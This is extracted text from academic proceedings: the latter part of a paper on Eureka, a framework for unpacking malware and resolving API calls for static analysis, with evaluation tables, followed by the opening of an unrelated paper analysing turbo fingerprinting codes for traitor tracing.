In such cases, Eureka’s analysis proceeds as follows to reconstruct API as-
sociations. For each Win32 DLL Di, let Bi be the default base address. Also,
let there be ki exported API functions, where each function Fi, j has the RVA
(relative virtual address) Ri,j . Eureka builds a database of virtual addresses
Vi,j = Bi + Ri,j and their corresponding API functions. Whenever Eureka finds
a call site c with resolved target address A(c), it searches all Vij to identify the
API function target. We find that this method works as long as the DLLs are
loaded in the default base address.

DLLs loaded at arbitrary virtual addresses. To make identification of an
API harder, there may be cases where a DLL is loaded into a nonstandard base
address by system calls to explicitly map them into a different address space.
As a result, the address found during analysis of the unpacked binary may not
be found in the computed virtual address set. In this case, we can utilize some
of the dynamic information captured by running malware (in many cases, this
information can be harvested during Eureka’s unpacking phase). The idea is to
use runtime information of native system calls that are used to map DLL and
modules into the virtual address space of an application. Since our unpacker
traces native system calls, we can look for specific calls to NtOpenSection and
NtMapViewOfSection. The former system call identifies the DLL name and the
latter provides the base address where it is loaded. Eureka correlates these two
calls using the handle returned by the first system call.

API resolution for statically identifiable targets. One way to identify
an invocation of an API function without relying on the import directory of
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the unpacked image is by testing targets of call sites to see whether they point
to specific API functions. We assume that a call site may use an indirect call
or a jump instruction. Such instructions may involve a pointer directly or may
use a register that is loaded with an address in an earlier instruction. To iden-
tify targets in a generic manner, Eureka uses static analysis on the unpacked
disassembly.

Eureka starts by performing control flow analysis on the program. The use of
IDA Pro disassembly simplifies analysis by marking subroutine boundaries and
inter-procedural control flows. Furthermore, control flow instructions that have
statically identified targets that reside within the program are also resolved. In
addition, IDA Pro identifies any valid API calls through the import directory and
the IAT. Eureka’s analysis task then is to resolve unknown static or statically
resolvable target addresses in control flow instructions. These are potential calls
to API functions residing in DLLs. Our algorithm proceeds as follows. First,
Eureka identifies functions in the disassembly (marked as subroutines using the
SUB markers). For each function, the control flow graph is built by identifying
basic-blocks as nodes and static intra-procedural control flow instructions that
connect them as edges. Eureka then models inter-procedural control flow by
observing CALL or JMP instructions to subroutines that IDA already identifies. It
selects any remaining such instructions with an unrecognized target as potential
API call sites. For these instructions, Eureka uses static analysis to identify the
absolute memory address to which they will transfer control.

We now use a simple notation to express the x86 instructions that Eureka
analyzes. Let the set of all instructions be I. For any instruction i ∈ I, we use
the notation S(i) as the source operand if one exists, and T (i) as the target
operand. The operands may be immediate values, memory pointer indirection
or a register. Suppose the set of potential API call instructions is C ⊆ I. Our
goal is to find the target address of a potential API call instruction c, which we
express by A(c). For instructions with immediate addresses, A(c) can be found
directly from the instruction. For indirect control transfers using a pointer, such
as CALL [X], Eureka considers the static value stored at address X as a target.
Since Eureka uses the disassembly generated by IDA, the static value at address
X is included as data definition with the name dword X.

For register-based control transfers, Eureka needs to identify the value loaded
in the register at the point of initiating the transfer. Some previous instruction
can load the register with a value read from memory. A generic way to identify
the target is to extract a sequence of instructions that initially loads a value
from a specific memory address to a register and subsequently is loaded to the
register that is used in the control-transfer instruction. Eureka resorts to dataflow
analysis for solving these cases. Using standard dataflow analysis at the intra-
procedural level, Eureka identifies def-use instruction pairs. A def-use pair (d, u)
is a pair of instructions where the latter instruction u uses an operand that is
defined in d, and there is a control flow path between these instructions with
no other definitions of that operand in between. For example, a MOV ESI, EAX
followed by CALL ESI instruction with no other redefinitions of ESI forms a
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Fig. 3. Illustration of Static Analysis Approaches used to Identify API Targets

def-use pair for the register ESI. To find the value that is loaded in the register
at the call site, starting from a potential call site instruction, Eureka identifies a
chain of def-use pairs that end at this instruction involving only operands that
are registers. Therefore, the first pair in the chain contains a def that loads to
a register a value from memory or an immediate value, which is subsequently
propagated to the call site. Figure 3(a) illustrates these cases. The next phase is
to determine whether the address A(c) for a call site c is indeed an API function,
and if so Eureka resolves its API name.

API resolution for dynamically computed addresses. In some cases, the
resolved target address A(c) can be uninitialized. This may happen if the snap-
shot is taken at a point during the execution when the resolution of the API
address has not taken place in the malware code. It may also be the case that the
address is supposed to be returned from a system call such as GetProcAddress,
and thus is not contained in the unpacked memory image. In such cases, Eureka
attempts to analyze the malware code and extract the portion of code that is
supposed to update this address by identifying instructions that write to the
memory location that contained A(c). For each of these instructions, Eureka
constructs def-use chains and identifies where they are initiated. If in the control
flow path there is a call to the GetProcAddress, Eureka identifies the arguments
pushed onto the stack before calling the service. Since it is one of the arguments,
Eureka can directly identify the name of the API whose address is returned and
stored in the pointer. Figure 3(b) illustrates a sample code template and how
our analysis propagates results of GetProcAddress to call sites.

5 Evaluation Metrics

We consider the problems of measuring and improving analyzability after API
resolution. Although a manual inspection can determine the quality of the out-
put and its suitability for applying static analysis, in a large corpus of thousands
of malware programs, automated methods for performing this step are essential.
Technically, without the knowledge of the original malware code, it is impossible
to precisely conclude how successfully the obfuscations applied to a code have
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been removed. Nevertheless, several heuristics can aid malware analysts and
other post-unpacking static analysis tools in deciding which unpacked binaries
can be analyzed successfully, and which require further attempts at deobfusca-
tion. Poor analyzability metrics could further help detect when previously suc-
cessful malware deobfuscation strategies are no longer successful, possibly due to
new countermeasures employed by malware developers to thwart the unpacking
logic. Here we present heuristics that we have incorporated in Eureka to express
the quality of the disassembled process image, and its potential analyzability in
subsequent static analyses.

Code-to-data ratio. An observable difference between packed code and un-
packed code is the amount of identifiable code and data found in the binary.
Although differentiating between code and data on x86 variable length instruc-
tions is a known hard problem, in practice the state-of-the-art disassemblers and
analyzers such as IDA Pro are quite capable of identifying code by recursively
passing through code and by taking into account specific valid code sequences.
However, these methods tend to err on the side of detecting data as code, rather
than the other way around. Therefore, if code is identified via IDA Pro, it can
be taken with confidence that it is actual code. The amount of code that is
identified in and provided from an unpacker can be used as a reasonable indi-
cation of how completely the binary was unpacked. Since there is no ground
truth on the amount of code in the original malware binary prior to its packing,
we have no absolute measures from which we can compare the quality of the
unpacked results. However, empirically, we find that the ratio of code to data
found in the unpacked binary is a useful analyzability metric. Usually, any se-
quence of bytes that is not identified as code is treated as data by IDA Pro.
In the disassembled code, these data are represented using the data definition
assembler mnemonics — db, dw or dd. We use the ratio of identified code and
data by IDA Pro as an indication of unpacking quality. The challenge with this
measurement is in identifying the threshold above which we can conclude that
packing was successful. We used an empirical approach to determine a suitable
threshold for this purpose. When experimenting with packed and unpacked bi-
naries of benign programs, we observed that the amount of identified code is
very low for almost all different packer-generated packed binaries. There were
slight variations depending on the unpacking code inserted by the packer. Still,
we found the ratio to be well below 3% in all cases. Although the ratio of code
vs. data increased significantly after unpacking, it was not equal to the original
benign program prior to packing, because the unpacked code still contained the
packed data in the memory image, which appeared as data definitions in the
disassembly. We found that most of the successfully unpacked disassemblies had
code-to-data ratios well above 50%. Eureka uses the 50% threshold as the value
of valid unpacking.

API resolution success. When attempting to conduct a meaningful static
analysis on an unpacked binary, one of the most important requirements is the
proper identification of control flow, whether it relates to Windows APIs or to
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the malware’s internal functions. Incomplete control flow can adversely affect
all aspects of static analyses. One of the main culprits of control flow analysis
is the existence of indirect control flow instructions whose targets are not stati-
cally identifiable and can be derived only by dynamic means. In Section 4, our
presented API resolution method tries to identify the targets of call sites that
were not identified by IDA Pro. If the target is not resolvable, it may be a call
to an API function that was successfully obfuscated beyond the reversal tech-
niques used by Eureka, or it may be a dynamically computed call to an internal
function. In both cases, we lose information about the control flow behavior
from that point in the program. By taking success and failure scenarios into
account, we can compute the ratio of resolved APIs and treat it as an indication
of quality of subsequent static analysis. Our API resolution quality is expressed
as a percentage of total number of API calls that have been resolved from the
set of all potential API call sites, which are indirect or register-based calls with
unresolved target. A higher value of p indicates that the resulting deobfuscated
Eureka binary will be suitable for supporting static analyses that support more
in-depth behavioral characterization.

6 Experimental Results

We now evaluate the effectiveness of Eureka using three different datasets. First,
we measure how Eureka and other unpackers handle various common packers
using a dataset of packed benign executables. Next, we evaluate how Eureka
performs on two recent malware collections: a corpus of 479 malicious executables
obtained from spam traps and a corpus of 435 malicious executables obtained
from our honeynet.

6.1 Benign Dataset Evaluation: Goat Test

We evaluate Eureka using a dataset of packed benign executables. Specifically,
we used several common packers to pack an instance of the popular Microsoft

Table 3. Evaluation of Eureka, PolyUnpack and Renovo:
√

= unpacked; ⊗ = partially
unpacked; × = unpack failed

Packer PolyUnpack Renovo Eureka Eureka API
Unpacking Unpacking Unpacking Resolution

Armadillo × ⊗ √
64%

Aspack 2.12 ⊗ √ √
99%

Asprotect 1.35 ⊗ √ × –
ExeCryptor

√ ⊗ √
2%

ExeStealth 2 × √ √
97%

FSG 2.0
√ √ √

0%
MEW 1.1

√ √ √
97%

MoleBoxPro × √ √
98%

Morphine 1.2
√ ⊗ √

0%
Obsidium × × √

99%
PeCompact 2 × √ √

99%
Themida × ⊗ ⊗ –
UPX 3.02

√ √ √
99%

WinUPack 3.99 ⊗ √ √
99%

Yoda 3.53 ⊗ ⊗ √
97%



Eureka: A Framework for Enabling Static Malware Analysis 495

Windows executable, notepad.exe. An advantage of testing with a dataset of
custom-packed benign executables is that we have ground truth for what the
malware is packed with and we know exactly what is expected after unpacking.
This makes it easier to evaluate the quality of unpacking results. We compare the
unpacking capability of Eureka to that of PolyUnpack (using a limited distribu-
tion version obtained from the author) and Renovo (by submitting to BitBlaze
malware analysis service [5]). We were unable to acquire OmniUnpack for our
test results.

These results are summarized in Table 3. In cases where an output was found,
we used Eureka’s code-to-data ratio heuristic to determine whether it was success-
fully unpacked and manually also verified the results of the heuristic. For Renovo,
we compare with the last layer that was produced in the case of multiple unpacked
layers. The results show that Eureka performs well compared to other unpacking
solutions. Eureka was successful in all cases except Asprotect, which interfered
with Eureka’s driver, and Themida, where the output was an altered unpacking
with API calls emulated. In Figure 4, we illustrate how the bigram counts change
as Eureka executes for three of the packers. We find that in most cases the bigram
counts change synchronously and very sharply (similar to ASPack) making it easy
to determine appropriate points for snapshotting execution images. We find that
Eureka is also robust to packers that naively employ multiple layers such as Mole-
Box and some incremental packers such as Armadillo.

In this comparison study, PolyUnpack failed in many instances including cases
where it just unveiled a single layer of packing while the output still remained
packed. We suspect that aggressive implementation of anti-debugging features
might be impairing its current success. Renovo, on the other hand, provided
several unpacked layers in all cases except for Obsidium. Further analysis of
the output however revealed that in some cases the binary was not completely
unpacked. Finally, our results show that Eureka’s API resolution technique was
able to determine almost all APIs for most packers and failed considerably in
some others. Particularly, we found ExeCryptor and FSG to use a large amount
of code rewriting for obfuscating API calls, including use of arbitrary combina-
tions of complex instruction sequences to dynamically compute the targets.

6.2 Malicious Data Set Evaluation

Spam corpus evaluation. We begin by evaluating how Eureka performs on
a corpus of 481 malicious executables obtained from spam traps. The results
are very encouraging. Eureka was able to successfully unpack 470 of 481 exe-
cutables. Of the 470 executables from this spam corpus, 401 were successfully
unpacked simply using the heuristic-based unpacker, the remainder could only
be unpacked using Eureka’s bigram statistical hypothesis test. We summarize
Eureka’s results in Tables 4 and 5. Table 4 illustrates the various packers used
(as classified by PeID) and describes how effectiveness of Eureka varies across
packers. Table 5 classifies the dataset based on antivirus (AV) labels obtained
from Virus-Total [27] illustrating how Eureka’s effectiveness varies across mal-
ware families and validating the quality of Eureka’s unpacking.



496 M. Sharif et al.

0 100 200 300 400 500 600
System Call Count

100

200

300

400

500

B
ig

ra
m

 C
ou

nt

FF 15
FF 75 
E8 - - - FF
E8 - - - 00 

0 300 600 900 1200 1500 1800
System Call Count

1000

2000

B
ig

ra
m

 C
ou

nt

FF 15
FF 75 
E8 - - - FF
E8 - - - 00 

0 100 200 300 400 500 600
System Call Count

1000

2000

B
ig

ra
m

 C
ou

nt

FF 15
FF 75 
E8 - - - FF
E8 - - - 00 

Fig. 4. Bigram counts during execution of goat file packed with Aspack(left), Mole-
box(center), Armadillo(right)

Table 4. Eureka performance by packer
distribution on the spam malware
corpus

Packer Count Eureka Eureka API
Unpacking Resolution

Unknown 186 184 85%
UPX 134 132 78%
Warning:Virus 79 79 79%
PEX 18 18 58%
MEW 12 11 70%
Rest (10) 52 46 83%

Table 5. Eureka performance by malware
family distribution on the spam malware
corpus

Malware Count Eureka Eureka API
Family Unpacking Resolution
TRSmall 98 98 93%
TRDldr 63 61 48%
Bagle 67 67 84%
Mydoom 45 44 99%
Klez 77 77 78%
Rest(39) 131 123 78%

Honeynet corpus evaluation. Next, we evaluate how our system performs on
a corpus of 435 malicious executables obtained from our honeynet deployment.
We found that 178 were packed with Themida. In these cases, Eureka is only able
to obtain an altered execution image.2 These results highlight the importance of
building better analysis tools that can deal with this important problem. Out of
the remaining 257 binaries, 20 were binaries that did not execute on Windows
XP (either because they were corrupted or because we could not determine
the right execution environments). Eureka is able to successfully unpack 228
of the 237 remaining binaries and produce successful API resolutions in most
cases. We summarize results of analyzing the remaining 237 binaries in Tables 6
and 7. Table 6 illustrates the distribution of the various packers used in this
dataset (as classified by PeID) and describes how effectiveness of Eureka varies
across the packers. Table 7 classifies the dataset based on AV labels obtained
from Virus-Total and illustrates how the effectiveness of Eureka varies across
malware families.

7 Limitations and Future Work

The nature of the malware analysis game dictates that malware deobfuscation
and analysis is a perennial arms race between the malware developer and the
2 As we see from Table 3, this class of packers also poses a problem for the other

unpackers.
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Table 6. Eureka performance by packer
distribution on the honeynet malware cor-
pus minus Themida

Packer Count Eureka Eureka API
Unpacking Resolution

PolyEne 109 109 97%
FSG 36 35 94%
Unknown 33 29 67%
ASPack 23 22 93%
tElock 9 9 91%
Rest(9) 27 24 62%

Table 7. Eureka performance by malware
family on the honeynet malware corpus
minus Themida

Malware Count Eureka Eureka API
Family Unpacking Resolution
Korgo 70 70 86%
Virut 24 24 90%
Padobot 21 21 82%
Sality 17 17 96%
Parite 15 15 96%
Rest(19) 90 81 90%

malware analyst. We expect new challenges to emerge as adversaries learn of
and adapt to Eureka. In the near term, we plan to explore various strategies to
overcome some of our current known limitations.

Partial code revealing packers pose a significant problem for all automated
unpackers. These packers implement thousands of polymorphic layers, revealing
only a portion of the code during any given execution stage. Once the code sec-
tion is executed, the packer then re-encrypts this segment before proceeding on
to the next code segments. At the moment, the favored approach to counter this
packing strategy is to dump a continuous series of execution images, which must
be subsequently analyzed and reassembled into a single coherent process image.
However, this approach offers few guarantees of coverage or completeness. We
plan to investigate new methods to extend Eureka to address this important
problem. Another challenge is that malware authors will adapt their packing
methods to detect Eureka or to circumvent Eureka’s process tracking methods.
For example, malware could detect Eureka by looking for kernel API hooking.
This is not a fundamental problem with our approach, but rather a weakness in
our implementation. One potential solution is to move Eureka’s system call mon-
itoring capability outside the kernel, into the host OS (e.g., via a kernel virtual
machine). Knowledgeable adversaries could also design malware that suppresses
Eureka’s triggers. A malware author who is aware of the heuristics and thresh-
olds used by Eureka’s statistical models could explicitly engineer malware to
evade these triggers, for example, by avoiding certain system calls that trigger
the heuristics or limit the use of certain instructions. We believe some of this
concern could be addressed by parameterizing features of the statistical model
to introduce uncertainty in deciding what thresholds the malware must avoid.
Malware could alternatively choose to purposely induce Eureka to image dump
too soon, prior to performing its process unpacking. To counter this threat, Eu-
reka could produce multiple binary images, evaluating each dumped image to
choose the one with maximal analyzability.

To thwart API resolution, a packer may incorporate more sophisticated
schemes in the malware code to resolve APIs at runtime. Besides MOV instruc-
tions, a sequence of PUSH and POP instructions can transfer values from one
register to another. Although a simple sequence of a PUSH followed by a POP
can be treated as a MOV instruction, an arbitrary number of these sequences re-
quire modeling the program stack during dataflow analysis, which is costly but
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possible. To hide DLL base addresses from analyzers, packers may map a DLL
into one portion of memory and then copy the contents to another allocated
memory region. This action will not be revealed while intercepting system call
sequences. Even if such a technique is used by an unpacker, all allocated virtual
addresses can be scanned for PE header structures conforming to the API DLLs
at the point when the unpacking snapshot is taken. Eureka does not handle these
sophisticated cases at the moment, but we feel these could be addressed using
symbolic execution [12] or value-set analysis (VSA) [3].

8 Conclusion

We have presented the Eureka malware deobfuscation framework, to assist in
the automated preparation of malware binaries for static analysis. Eureka dis-
tinguishes itself from existing unpacking systems in several important ways.
First, it introduces a new methodology for automated malware unpacking, using
coarse-grained NTDLL system call monitoring. The unpacking system is ro-
bust, flexible, and very fast relative to other contemporary unpacking strategies.
The system provides support for both statistical and heuristic-based unpacking
triggers and allows child process monitoring. Second Eureka includes an API
resolution system that is capable of overcoming several contemporary malware
API address obfuscation strategies. Finally, Eureka includes an analyzability as-
sessment module, simplifies graph structure and automatically generates and
annotates nodes in the call graph with ontology labels based on API calls and
data references. While the post-unpacking analyses are novel to our system, they
are complementary and could be integrated into other unpacking tools.

Our results demonstrate that Eureka successfully unpacks majority of packers
(13 of 15) and that its performance is comparable to other automated unpack-
ers. Furthermore, Eureka is able to resolve most API references and produce
binaries that result in analyzable disassemblies. We evaluate Eureka on two col-
lections of malware: a spam malware corpus and a honeynet malware corpus.
We find Eureka is highly successful in unpacking the spam corpus (470 of 481
executables), reasonably successful in unpacking the honeynet corpus (complete
dumps for 228 of 435 executables and altered dumps for 178 of 435 executables)
and produces useful API resolutions. Finally, our runtime performance results
validate that the Eureka workflow is highly streamlined and efficient, capable
of unpacking more than 90 binaries per hour. Eureka is now available as a free
Internet service at http://eureka.cyber-ta.org.
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2 CTTC: Centre Tecnològic de Telecomunicacions de Catalunya
Parc Mediterrani de la Tecnologia (PMT), Av. Canal Oĺımpic S/N, 08860 -
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Abstract. Since the introduction of turbo codes in 1993, many new
applications for this family of codes have been proposed. One of the lat-
est, in the context of digital fingerprinting, is called turbo fingerprinting
codes and was proposed by Zhang et al.. The main idea is a new finger-
printing code composed of an outer turbo code and an inner code based
on the Boneh-Shaw model. The major contribution of this paper is a
new analysis of this new family of codes that shows its drawbacks. These
drawbacks must be considered in order to perform a correct design of
a turbo fingerprinting scheme otherwise the scheme cannot retrieve the
traitor users which is the main goal of digital fingerprinting scheme.
Moreover, the identification of these drawbacks allows to discuss an en-
tirely new construction of fingerprinting codes based on turbo codes.

Keywords: digital fingerprinting, collusion security, tracing traitor,
turbo code.

1 Introduction

The distribution and playback of digital images and other multimedia products
is an easy task due to the digital nature of the content. Achieving satisfactory
copyright protection has become a challenging problem for the research com-
munity. Encrypting the data only offers protection as long as the data remains
encrypted, since once an authorized but fraudulent user decrypts it, nothing
stops him from redistributing the data without having to worry about being
caught.

The concept of fingerprinting was introduced by Wagner in [1] as a method
to protect intellectual property in multimedia contents. The fingerprinting tech-
nique consists in making the copies of a digital object unique by embedding a
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different set of marks in each copy. Having unique copies of an object clearly
rules out plain redistribution, but still a coalition of dishonest users can collude.
A collusion attack consist in comparing the copies of the coalition members and
by changing the marks where their copies differ, they create a pirate copy that
tries to disguise their identities. Observe that in this situation it is possible for
the attackers to frame an innocent user. Thus, the fingerprinting problem con-
sists in finding, for each copy of the object, the right set of marks that help to
prevent collusion attacks.

The construction of collusion secure codes was first addressed in [2]. In that pa-
per, Boneh and Shaw obtain (c > 1)-secure codes, which are capable of identifying
a guilty user in a coalition of at most c users with a probability ε of failing to do
so. The construction composes an inner binary code with an outer random code.
Therefore, the identification algorithm involves the decoding of a random code,
that is known to be a NP -hard problem [3]. Moreover, the length of the code is
considerably large for small error probabilities and a large number of users.

To reduce the decoding complexity, Barg, Blakley and Kabatiansky in [3]
used algebraic-geometric codes to construct fingerprinting codes. In this way,
their system reduces the decoding complexity to O(poly(n)) for a code length
n and only 2 traitors. In [4], Fernandez and Soriano constructed a 2-secure
fingerprinting code by concatenating an inner (2, 2)-separating codes with an
outer IPP code (a code with the Identifiable Parent Property), and also with
decoding complexity O(poly(n)).

The Collusion Secure Convolutional Fingerprinting Information Codes pre-
sented in [5] have shorter information encoding length and achieve optimal trai-
tor searching in scenarios with a large number of buyers. Unfortunately, these
codes suffer from an important drawback in the form of false positives, in other
words, an innocent user can be tagged as guilty with very high probability. In
[6] we analysed in depth the work in [5] and quantified the probability of false
positives. Turbo fingerprinting codes analyzed in this paper are presented in
[7] by Zhang et al. and are based in the same idea that Collusion Secure Con-
volutional Fingerprinting Information Codes but using turbo codes instead of
Convolutional codes. In a practical implementation of these codes, the turbo
code must have some restrictions, which the authors did not take into account,
to obtain the desired performance. In this paper, the problem of false positives
in [7] is discussed.

The paper is organized as follows. In section 2 we provide some definitions
on fingerprinting and error correcting codes. Section 3 presents the well known
Boneh-Shaw fingerprinting codes and, in section 4, turbo codes are introduced.
Section 5 discusses the turbo fingerprinting codes presented by Zhang et al.
and carefully explains the encoding and decoding mechanisms. In section 6, new
considerations about Turbo Fingerprinting Codes (TFC) and the errors that can
be produced as a consequence of not taking into account these considerations are
explained and justified. In the same way a numerical example of this problem
is given. Section 7 proposes two improvements to the performance of the TFC
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using the likelihood provided by the turbo decoder. Finally, some conclusions
are given in Section 8.

2 Definitions

We begin by defining some concepts that will be needed throughout the paper.

Definition 1. (Error Correcting Code) A set C of N words of length L over
an alphabet of p letters is said to be an (L, N, D)p-Error-Correcting Code or in
short, an (L, N, D)p-ECC, if the Hamming distance1 between every pair of words
in C is at least D.

Definition 2. (Codebook [2]) A set Γ = {w(1), w(2), · · · , w(n)} ⊆ Σl, where Σ
will denote some alphabet of size s, will be called an (l, n)-code. The codeword
w(ui) will be assigned to user ui, for 1 ≤ i ≤ n. We refer to the set of words in
Γ as the codebook

Definition 3. (Undetectable Position) Let Γ = {w(1), w(2), · · · , w(n)} be an
(l,n)-code and C = {u1, u2, · · · , uc} be a coalition of c-traitors. Let position i
be undetectable for C, i.e. the words assigned to users in C match in i’th po-
sition, that is w

(u1)
i = · · · = w

(uc)
i .

Definition 4. (Feasible set) Let Γ = {w(1), w(2), · · · , w(n)} be an (l,n)-code and
C = {u1, u2, · · · , uc} be a coalition of c-traitors. We define the feasible set Γ
of C as

Γ (C) = {x = (x1, · · · , xl) ∈ Σl | xj ∈ wj , 1 ≤ j ≤ l}
where

wj =

{
{w

(u1)
j } w

(u1)
j = · · · = w

(uc)
j

{w
(ui)
j | 1 ≤ i ≤ c} ∪ {?} otherwise

where ? denotes an erased position.

Now we are in position to define the Marking Assumption that establishes the
rules that the attacking coalition is subjected to. This definition sets the work
environment of many of the actual fingerprinting schemes.

Definition 5. (Marking Assumption) Let Γ = {w(1), w(2), · · · , w(n)} be an (l,n)
-code, C = {u1, u2, · · · , uc} a coalition of c-traitors and Γ (C) the feasible set of
C. The coalition C is only capable of creating an object whose fingerprinting lies
in Γ (C).

The main idea of this definition is that a coalition of c-traitors can not detect
the positions in the document in which their marks hold the same value. Many
of the fingerprinting schemes in the literature base their tracing algorithms in
trying to estimate the positions that are changed by the attackers.
1 The Hamming distance dH(y, x) [8] between two sequences of equal length can be

defined as the number of positions in which the two sequences differ.
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3 Boneh-Shaw Fingerprinting Model

In 1995, Dan Boneh and James Shaw presented in [2] a seminal paper about the
collusion secure fingerprinting problem. First of all, we need to define what a
fingerprinting scheme is.

Definition 6. (Fingerprinting scheme [2])A (l, n)-fingerprinting scheme is a
function Γ (u, r) which maps a user identifier 1 ≥ u ≥ n and a string of random
bits r ∈ {0, 1}∗ to a codeword Σl. The random string r is the set of random bits
used by the distributor and kept hidden from the user. We denote a fingerprinting
scheme by Γr.

3.1 n-Secure Codes

We now define n-secure codes, see [2] for a more detailed description.

Definition 7. A fingerprinting scheme Γr is a c-secure code with ε-error if there
exists a tracing algorithm A which from a word x, that has been generated (un-
der the Marking Assumption) by a coalition C of at most c users, satisfies the
following condition Pr[A(x) ∈ C] > 1 − ε where the probability is taken over
random choices made by the coalition.

Now, we define the code and its decoding algorithm:

1. Construct an n-secure (l, n)-code with length l = nO(1).
2. Construct an Γ0(n, d)-fingerprinting scheme by replicating each column of

an (l, n)-code d times. For example, suppose a (3, 4)-code {111,011,001,000}.
We can construct a Γ0(4, 3) for four users A,B,C and D as follows:

A : 111111111
B : 000111111
C : 000000111
D : 000000000

3. When the code has been defined, the next step is to define the appropriate
decoding algorithm. For instance

Algorithm 1. From [2], given x ∈ {0, 1}l, find a subset of the coalition
that produced x. We denote by Bm is the set of all bit positions in which the
column m is replicated, Rm = Bm−1 ∪ Bm and weight denotes the number
of bits that are set to 1.
(a) If weight (x | B1) > 0 then output “User 1 is guilty”
(b) If weight (x | Bn−1) < d then output “User n is guilty”
(c) For all s = 2 to n− 1 do:

Let k = weight (x | Rs). if

weight(x | Bs−1) <
k

2
−

√
k

2
log

2n

ε

then output “User s is guilty”

Finally, the only thing left to do is to find a relationship between the error ε and
the replication factor d. This relation is given in the following theorem,
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Theorem 1. For n ≥ 3 and ε > 0 let d = 2n2 log(2n/ε). The fingerprinting
scheme Γ0(n, d) is n-secure with ε-error and has length d(n−1) = O(n3 log(n/ε)).

3.2 Logarithmic Length c-Secure Codes

The construction of Boneh and Shaw n-secure with ε-error is impractical for a
medium and large number of user because the length of codewords increases as
O(n3 log(n/ε)). To achieve shorter codes, Boneh and Shaw apply the ideas of
[9] to construct c-secure (n, l)-codes of length l = cO(1) log(n). The basic idea is
to use the n-secure code as the alphabet which is used by an (L, N, D)p-error-
correcting code. As a result of this composition, Boneh and Shaw obtained the
following result. The proof of this theorem can be found in [2].

Theorem 2. Given integers N ,c, and ε > 0 set n = 2c, L = 2c log(2N/ε, and
d = 2n2 log(4nL/ε). Then, Γ ′(L, N, n, d) is a code which is c-secure with ε-error.
The code contains N words and has length l = O(Ldn) = O(c4 log(N/ε) log(1/ε))

Thus the code Γ ′(L, N, n, d) is made up of L copies of Γ0(n, d). Each copy is
called a component of Γ ′(L, N, n, d). The codewords of component codes will be
kept hidden from the users. Finally, the codewords of Γ ′(L, N, n, d) are randomly
permuted by π before the distributor embeds the codeword of the user ui in an
object, that is to say, user ui’s copy of the object will be fingerprinted using the
word πw(i). To guarantee the security of this scheme, the permutation π must
be kept hidden from the users in order to hide the information of which mark in
the object encodes which bit in the code.

4 Turbo Codes

Turbo codes were introduced in 1993 by Berrou, Glavieux and Thitimajashima
[10], [11]. In their research, they reported extremely impressive results for a code
with a long frame length. The main idea is an extrapolation from Shannon’s
theory of communication. Shannon shows that an ultimate code would be one
where a message is sent infinite times, each time shuffled randomly, but this
requires infinite bandwidth so this schema is unpractical. The contribution of
turbo codes is that sending the information infinite number of times is not really
needed, just two or three times provides pretty good results.

4.1 Turbo Coding

The most common turbo encoder consists of parallel concatenation of some Re-
cursive Systematic Convolutional encoders (RSC), each with a different inter-
leaver, working on the same information. The purpose of the interleaver is to offer
to each encoder an uncorrelated version of the information. This results in inde-
pendent parity bits from each RSC. It seems logical that as a better interleaver
is used, these parity bits will be more independent. The usual configuration con-
sists of two identical convolutional encoders with rate 1/2 and a pseudo-random
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(a) Common turbo encoder (b) Common turbo decoder

Fig. 1. Dual Turbo Encoder/Decoder with ratio r = 1
3

interleaver, π, this schema is called a Parallel Concatenated Convolutional Code
(PCCC). Figure 1(a) shows the block diagram of a turbo encoder with its two
constituent convolutional encoders.

The input bits u are grouped in sequences whose length N is equal to the size
of the interleaver. The sequence u′ is obtained as the result of the interleaving
process. The first encoder receives the sequence u and produces the pairs (uk, p1

k)
and the second encoder receives the sequence u′ and produces the pairs (u′

k, p2
k).

Since both encoders are systematic encoders u′
k = π(uk), and, as π is known by

the decoder, only (uk, p1
k, p2

k) will be transmitted. The rate of this encoder is 1/3
but it can be increased by puncturing by 1/2.

4.2 Turbo Decoding

Turbo decoding is based on an iterative process to improve performance and
it uses, as a basic decoder unit, a Soft-Input Soft-Output algorithm. The block
scheme of a common turbo decoder is shown in figure 1(b).

First of all, the sequence encoded by the first encoder is decoded by the first
decoder as in an usual convolutional code scheme. As a result, this decoder
returns soft information, that is to say, an estimation about which were the
values of the bit in the original sequence and how likely is this estimation for
each bit. This information is called extrinsic information in the literature of turbo
codes. The extrinsic information of the first decoder is interleaved in the same
manner that the input bits had been interleaved in the turbo encoder before
they are applied to the second encoder. The next step is to send this interleaved
information to the second decoder. This decoder takes the extrinsic information
of the first decoder into account when it decodes the sequence encoded by the
second encoder and gives a new estimation about the original values. This process
is repeated several times depending on the performance that is required of the
system. On the average, 7 or 8 iterations give adequate results and no more 20
are ever required.

There are some algorithms that can be modified to use as a turbo decoder
component but the ones most used are the Soft Output Viterbi Algorithm [12,13]
and the BCJR [14] or Maximum A-posteriori Probability (MAP) algorithm.
SOVA is a combination of iterative decoding with a modified form of Viterbi
decoding and it maximizes the probability of a sequence. On the other hand,
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MAP maximizes the output probability based on some knowledge of the input
a priori probabilities and soft output from the demodulator.

5 Turbo Fingerprinting Scheme

The major contributions of the turbo fingerprinting scheme, presented by Zhang
et al. in [7] with regard to the Boneh-Shaw’s scheme are the reduction of code-
word length by means of the use of turbo codes as outer code and the improve-
ment of decoding the decoding runtime by a Maximum Likelihood Decoding
algorithm.

5.1 Concatenated Code

The proposed scheme consists of a concatenated turbo code with a Boneh-Shaw
code, that is, each symbol that a turbo encoder generates is coded by a Boneh-
Shaw encoder. Formally, Zhang et al. define their code Ψ(L, N, n, d) as the con-
catenated code that results of the composition of an outer (n0, k0)-turbo code
and an inner Boneh-Shaw Γ0(n, d)-code, where L is a turbo code length and N
is the users’ number.

The first step in the process is to generate a random binary string that will
be the user identification m(ui) for the user ui, where 1 ≤ i ≤ N . Next, m(ui) is
divided into L groups of ko bits each one. This groups are encoded by an (no, ko)-
turbo encoder and a sequence of L × n0 bits is produced. The output binary
sequence is represented by v = v1v2 · · · vL where each group vj is constituted by
n0 bits. Each vj is coded by the inner code Γ0(n, d) where, for design reasons,
n must satisfy the condition n ≥ 2n0 . As a result, the sequence W (v) = W (v1) ‖
W (v2) ‖ · · · ‖ W (vL) is obtained, where W (vj) is the codeword of Γ0(n, d)-code
assigned to vj .

To formalize the encoding process, Zhang et al. define the Ψ(L, N, n, d) en-
coding algorithm as follows:

Algorithm 2. Ψ(L, N, n, d) encoding algorithm defined in [7]:
Let m(uj) be the identification of user uj (1 ≤ j ≤ N)

1. v = Turbo − Encoding(m(uj))
2. For each 1 ≤ k ≤ L

W (vk) = Γ0(n, d) − Encoding(vk)
3. Let W (v) = W (v1) ‖ W (v2) ‖ · · · ‖ W (vL)

This process is repeated for all uj in such a way that all users will have their
